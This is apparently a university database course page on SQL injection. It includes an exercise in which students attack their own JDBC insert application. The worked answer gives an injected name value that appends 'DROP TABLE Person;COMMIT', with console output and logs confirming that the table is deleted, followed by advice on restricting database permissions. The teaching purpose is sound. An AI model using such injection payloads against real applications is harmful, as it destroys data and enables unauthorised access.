SQL injection

Figure 884. Assembling SQL Slide presentation

Figure 885. SQL injection principle Slide presentation

Figure 886. Preventing traffic tickets Slide presentation
Preventing traffic tickets

Figure 887. Trouble at school Slide presentation
Trouble at school

Before diving into technical details we shed some light on the possible impact of this common attack type:

Figure 888. SQL injection impact Slide presentation
SQL injection impact

Figure 889. SQL injection relevance, [Clarke2009] Slide presentation

Many people say they know what SQL injection is, but all they have heard about or experienced are trivial examples.

SQL injection is one of the most devastating vulnerabilities to impact a business, as it can lead to exposure of all of the sensitive information stored in an application's database, including handy information such as user's names, passwords, names, addresses, phone numbers, and credit card details.


exercise No. 7

Attack from the dark side

Q:

Use your Interactive inserts, connection properties, error handling and unit tests application and the idea of Figure 885, “SQL injection principle ” to launch an SQL injection attack. We provide some hints:

  1. Executing multi-line statements may require explicit COMMIT statements:

    INSERT INTO Person VALUES (...);DROP TABLE Person;COMMIT;...
  2. You may use either of the two input fields name or email to inject arbitrary SQL code.

A:

Logging tells us about SQL code being generated when inserting a record based on e.g. user Eve having an email eve@my.org:

main INFO  insert.SimpleInsert - Executing «INSERT INTO Person VALUES('Eve', 'eve@my.org')»

We craft our first input username replacing Eve to launch our attack:

Eve', 'eve@my.org');DROP TABLE Person;COMMIT;INSERT INTO Person VALUES('jim

A corresponding dialog reads:

MinimumTest> java -jar /ma/goik/GoikLectures/P/Sda1/Jdbc/Insert/MinimumTest/target/insert_user-0.1.jar
Enter a person's name or 'x' to exit: Eve', 'eve@my.org');DROP TABLE Person;INSERT INTO Person VALUES('jim
Enter Eve', 'eve@my.org');DROP TABLE Person;INSERT INTO Person VALUES('jim's email or 'x' to exit: jim@company.com
java -jar /home/goik/.m2/repository/de/hdm_stuttgart/sda1/insert/insert_user/0.2/insert_user-0.2.jar
Enter a person's name or 'x' to exit: Eve', 'eve@my.org');DROP TABLE Person;COMMIT;INSERT INTO Person VALUES('jim 
Enter Eve', 'eve@my.org');DROP TABLE Person;COMMIT;INSERT INTO Person VALUES('jim's email or 'x' to exit: sd@de
Exception in thread "main" org.postgresql.util.PSQLException: ERROR: relation "person" does not exist
  Position: 13
	at org.postgresql.core.v3.QueryExecutorImpl.receiveErrorResponse(QueryExecutorImpl.java:2103)
	at org.postgresql.core.v3.QueryExecutorImpl.processResults(QueryExecutorImpl.java:1836)

This successfully kills our Person table:

goik@goikschlepptop MinimumTest> cat A1.log
main INFO  insert.SimpleInsert - Executing «INSERT INTO Person VALUES('Eve', 'eve@my.org');DROP TABLE Person;COMMIT;INSERT INTO Person VALUES('jim', 'jim@company.com')»
main ERROR insert.SimpleInsert - General database connection problem:
java.sql.SQLSyntaxErrorException: Table 'hdm.Person' doesn't exist
  at com.mysql.cj.jdbc.exceptions.SQLError.createSQLException(SQLError.java:112) ~[insert_user-0.1.jar:?]
...

According to the message text the table Person gets dropped as expected. Thus the subsequent (second) INSERT action is then bound to fail.

In practice this result may be avoided: The database user in question will (hopefully!) not have sufficient permissions to drop the whole table. Use GRANT / REVOKE statements accordingly!

Malicious modifications by INSERT, UPDATE or DELETE statements of data records are still possible though!